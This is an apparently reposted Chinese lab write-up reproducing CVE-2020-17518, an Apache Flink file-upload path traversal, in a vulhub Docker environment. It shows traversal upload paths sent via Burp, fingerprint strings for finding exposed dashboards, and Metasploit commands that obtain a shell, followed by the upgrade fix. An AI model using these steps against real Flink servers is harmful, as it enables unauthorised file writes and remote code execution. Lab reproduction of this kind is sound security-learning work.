[ vulhub漏洞复现篇 ] Apache Flink 文件上传漏洞 (CVE-2020-17518)
Posted _PowerShell
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[ vulhub漏洞复现篇 ] Apache Flink 文件上传漏洞 (CVE-2020-17518)相关的知识,希望对你有一定的参考价值。
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
一、漏洞编号
CVE-2020-17518
二、漏洞描述
Apache Flink是一个面向数据流处理和批量数据处理的可分布式的开源计算框架。它可以用来做批处理,即处理静态的数据集、历史的数据集;也可以用来做流处理,即实时地处理一些实时数据流,实时地产生数据的结果;也可以用来做一些基于事件的应用;该漏洞允许攻击者利用REST API,并通过精心构造的HTTP Header,实现远程文件写入。
三、影响范围
Apache Flink: 1.5.1-1.11.2
四、指纹信息
"match": "title_contains",
"content": "apache flink web dashboard"
"match": "body_contains",
"content": "<img alt=\\"apache flink dashboard\\" src=\\"images/flink-logo.png"
五、环境搭建
1、进入CVE-2020-17518环境
cd vulhub/flink/CVE-2020-17518
2、启动CVE-2020-17518环境
docker-compose up -d
3、查看CVE-2020-17518环境
docker-compose ps
4、访问CVE-2020-17518环境
http://192.168.13.131:8081/
5、查看CVE-2020-17518提示信息
cat README.md
6、关闭CVE-2020-17518环境
复现完记得关闭环境
docker-compose down
六、漏洞复现
1、进入容器
查看容器ID
docker ps
进入容器
docker exec -it 容器ID /bin/bash
2、上传正常文件
1.准备上传文件
在桌面新建几个txt文件作为长传文件
2.寻找上传点
进入Submit New Job页面,点击Add New随便上传一个文件并采用抓包工具抓包
我这里抓包工具采用的burp suite
3.上传文件
上传文件默认目录
jar包存放目录是/tmp/flink-web-b10fb5e0-70e0-4a9f-a50a-1db475bd9445/flink-web-upload,即
/tmp/flink-web-b10fb5e0-70e0-4a9f-a50a-1db475bd9445/flink-web-upload
也就是说我们上传的文件在以下目录
/tmp/flink-web-b10fb5e0-70e0-4a9f-a50a-1db475bd9445/flink-web-upload
目录下无1.txt文件
ls /tmp/flink-web-b10fb5e0-70e0-4a9f-a50a-1db475bd9445/flink-web-upload
发包上传1.txt文件
抓到的包放入Request模块直接点击send进行发送
上传成功1.txt文件
ls /tmp/flink-web-UUID/flink-web-b10fb5e0-70e0-4a9f-a50a-1db475bd9445
发现1.txt文件上传成功
3、上传文件到任意目录
正常上传文件路径为
/tmp/flink-web-UUID/flink-web-upload
我们可以修改上传路径,加上…/…/…/就可以到达根目录
构建下面两个路径,其实作用是一样的,都是上传文件到/tmp
../../../2.txt
../../../../tmp/3.txt
上传路径:…/…/…/2.txt
ls /tmp
文件上传成功
上传路径:…/…/…/…/tmp/3.txt
ls /tmp
文件上传成功
七、MSF - getshell
1、进入msf控制台
Msfconsole
2、搜索Flink相关模块
search Flink
3、使用flink文件上传攻击模块
use exploit/multi/http/apache_flink_jar_upload_exec
4、设置靶机
set rhosts 192.168.13.131
5、运行flink文件上传攻击模块
Run
6、Getshell成功
执行ls
八、漏洞修复
升级Flink版本至1.11.3及以上
可参考
https://blog.csdn.net/u013289115/article/details/112853804
九、相关资源
docker 搭建 vulhub 靶场环境:
https://blog.csdn.net/qq_51577576/article/details/125048165
以上是关于[ vulhub漏洞复现篇 ] Apache Flink 文件上传漏洞 (CVE-2020-17518)的主要内容,如果未能解决你的问题,请参考以下文章
[ vulhub漏洞复现篇 ] Linux Polkit 权限提升漏洞CVE-2021-4034
[ vulhub漏洞复现篇 ] ECShop 2.x / 3.x SQL注入/远程执行代码漏洞 xianzhi-2017-02-82239600
[ vulhub漏洞复现篇 ] JBOSS AS 4.x以下反序列化远程代码执行漏洞CVE-2017-7504